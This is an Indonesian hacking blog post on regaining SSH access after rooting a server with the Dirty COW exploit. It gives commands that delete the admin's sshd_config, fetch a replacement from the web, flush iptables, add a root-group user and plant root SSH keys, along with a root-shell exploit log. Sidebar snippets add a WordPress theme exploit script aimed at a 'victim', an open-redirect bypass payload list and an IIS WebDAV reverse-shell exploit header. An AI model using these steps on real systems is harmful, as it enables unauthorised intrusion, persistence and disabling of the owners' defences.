Langsung ke konten utama

Mendapatkan Akses SSH Setelah Rooting Server

Haloo.. kali ini saya mau berbagi sedikit tips saja barangkali ada yang belum tau. Biasanya yang pernah rooting server dengan localroot dirtyc0w sering pas sudah eskalasi, add user dan ganti password ternyata tidak bisa masuk ke ssh karena port ssh yang diganti, atau password auth dimatikan (sysadmin server tersebut login menggunakan auth key). Ada juga kasus dimana proses privilege escalation langsung memanggil tty dengan id root, namun ketika menambahkan user tidak bisa karena akses ke perintah seperti passwd iptables, dll dibatasi.

Oke kita bahas dulu kasus pertama.
dirty cow exploit – eksekusi localroot – ganti user dan password – tidak bisa masuk ke ssh.
Kemungkinan nya ada dua, tidak diijinkan login dengan password , atau memang ssh hanya bisa diakses melalui ip tertentu saja (pengaturan iptables).
Trik nya :
su firefat
cd /etc/ssh/
rm sshd_config
wget https://raw.githubusercontent.com/linuxsec/pentest/master/sshd.txt -O sshd_config
iptables -F
service ssh restart
Perintah diatas akan menghapus konfigurasi ssh yang dilakukan sysadmin dan mengembalikannya ke pengaturan default dimana password login diijinkan dan port nya di port 22. iptables -F adalah melakukan flushing iptables. Hal ini untuk menghapus semua rule iptables yang ada. Sehingga misalnya rule awal hanya mengijinkan ip tertentu login ke ssh, sekarang kita bisa login ke ssh dari ip kita.
Yang pertama diatas adalah yang kasus paling gampang nya. Nah yang kedua ini lumayan banyak juga
dirty cow exploit – eksekusi localroot – ganti user dan password – tidak bisa masuk ke ssh – /bin/su denied
Nah kalau yang ini, kita gunakan trik berikut.
Kita lakukan eskalasi server dengan localroot yang langsung memanggil tty dengan id root.
Sehingga proses nya menjadi
exploit – run – id root
log :
./cowroot
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 30768
Racing, this may take a while..
/usr/bin/passwd overwritten
Popping root shell.
Don’t forget to restore /tmp/bak
thread stopped
thread stopped
root@whmdaqu [/home/bugs/public_html/]#
karena id kita sekarang root kita tinggal mengikuti perintah di kasus pertama. Reset sshd config, flush iptables, add user setara root.
Nah kasus yang ketiga
exploit – tty dengan id root – tidak bisa menjalankan perintah passwd, iptables dan perintah lainnya.
Hal ini kemungkinan akses ke perintah sistem dibatasi saat kita menggunakan tty.
Log :
root@server [/root]# /usr/sbin/useradd kontol -g root -d /home/kontol
/usr/sbin/useradd kontol -g root -d /home/kontol
root@server [/root]# passwd kontol
passwd root
root@server [/root]#
yup, prompt password tidak mau terpanggil.
Ini dikarenakan akses di tty dibatasi. bahkan meski memiliki id root kita tidak bisa menjalankan perintah iptables.
Trik yang saya coba dan work :
cd ~
ssh-keygen -t rsa
cp /root/.ssh/id_rsa.pub /root/.ssh/authorized_keys
ssh root@localhost
Kita gunakan akses ssh menggunakan auth key. Kenapa di localhost, kenapa tidak langsung pakai auth key dari server kita ? Disini saya asumsikan firewall server target aktif dan hanya mengijinkan akses ssh dari ip tertentu saja.
Setelah add ssh key, berikut log nya :
root@server [~]# ssh root@localhost
ssh kontol@localhost
Attempting to create directory /root/perl5
root@server [~]#
Memang terlihat sama namun yang pertama adalah tty, dan yang kedua adalah ssh shell.
Sekarang karena yang kita punya bukan tty lagi seharusnya limit atau batasan perintah seperti tidak bisa command iptables, tidak bisa command passwd sudah tidak ada. Selanjutnya tinggal ikuti ara paling atas .
Sekian tutorial kali ini, semoga bermanfaat.

Komentar

Postingan populer dari blog ini

Wordpress Premium Themes Shopsum Unauthenticated Configuration

# Exploit  Title : Wordpress Premium Themes Shopsum Unauthenticated Configuration Access Vulnerability # Author  : Mr.Buckethead # Date  : November 13th, 2014 # Category  : Web Applications # Vulnerability  : Unauthenticated Configuration Access # Tested  On : Windows 7 32-bit, Backbox # Dork  : inurl:/wp-content/themes/shopsum/hades_framework/ or use ur imagination #Exploit : http://localhost/path/wp-content/themes/shopsum/hades_framework/option_panel/ajax.php # POC  : Save File As Python (.py) = import httplib, urllib # target  site site = "victim" #<--- no http:// or https:// # path  to ajax.php url = "t/wp-content/themes/shopsum/hades_framework/option_panel/ajax.php" def ChangeOption(site, url, option_name, option_value): params = urllib.urlencode({'action': 'save', 'values[0][name]': option_name, 'values[0][value]': option_value}) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept...

Open Redirect Bypass Cheat Sheet

Open Redirect Bypass Cheat Sheet   Yoo Cherry     August 3, 2019     Cheat Sheet ,  Web Hacking     No Comments Open Redirect Bypass Cheat Sheet.  Open redirect  adalah celah yang memungkinkan attacker untuk mengarahkan pengunjung dari situs terpercaya ke situs malware atau phising tanpa autentifikasi dari admin situs. Bergantung pada arsitektur situs web yang rentan, pengalihan bisa terjadi setelah tindakan tertentu, seperti login, dan terkadang hal itu bisa terjadi seketika saat memuat sebuah halaman. Open Redirect Bypass Cheat Sheet http://3H6k7lIAiqjfNeN@[::ffff:216.58.214.206] http://XY>.7d8T\205pZM@[::ffff:216.58.214.206] http://0xd8.072.54990 http://www.whitelisteddomain.tld@0xd8.072.54990 http://3H6k7lIAiqjfNeN@0xd8.072.54990 http://XY>.7d8T\205pZM@0xd8.072.54990 http://0xd8.3856078 http://www.whitelisteddomain.tld@0xd8.3856078 http://3H6k7lIAiqjfNeN@0xd8.3856078 http://XY>.7d8T\205pZM@0xd8.3856078 ...

Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow

/*******************************************************************/ /* [Crpt] ntdll.dll exploit trough WebDAV by kralor [Crpt] */ /* --------------------------------------------------------------- */ /* this is the exploit for ntdll.dll through WebDAV. */ /* run a netcat ex: nc -L -vv -p 666 */ /* wb server.com your_ip 666 0 */ /* the shellcode is a reverse remote shell */ /* you need to pad a bit.. the best way I think is launching */ /* the exploit with pad = 0 and after that, the server will be */ /* down for a couple of seconds, now retry with pad at 1 */ /* and so on..pad 2.. pad 3.. if you haven't the shell after */ /* something like pad at 10 I think you better to restart from */ /* pad at 0. On my local IIS the pad was at 1 (0x00110011) but */ /* on all the others servers it was at 2,3,4, etc..sometimes */ /* you can have the force with you, and get the shell in 1 try */ /* sometimes you need to pad more than 10 times ;) */ /* the shellcode was coded by m...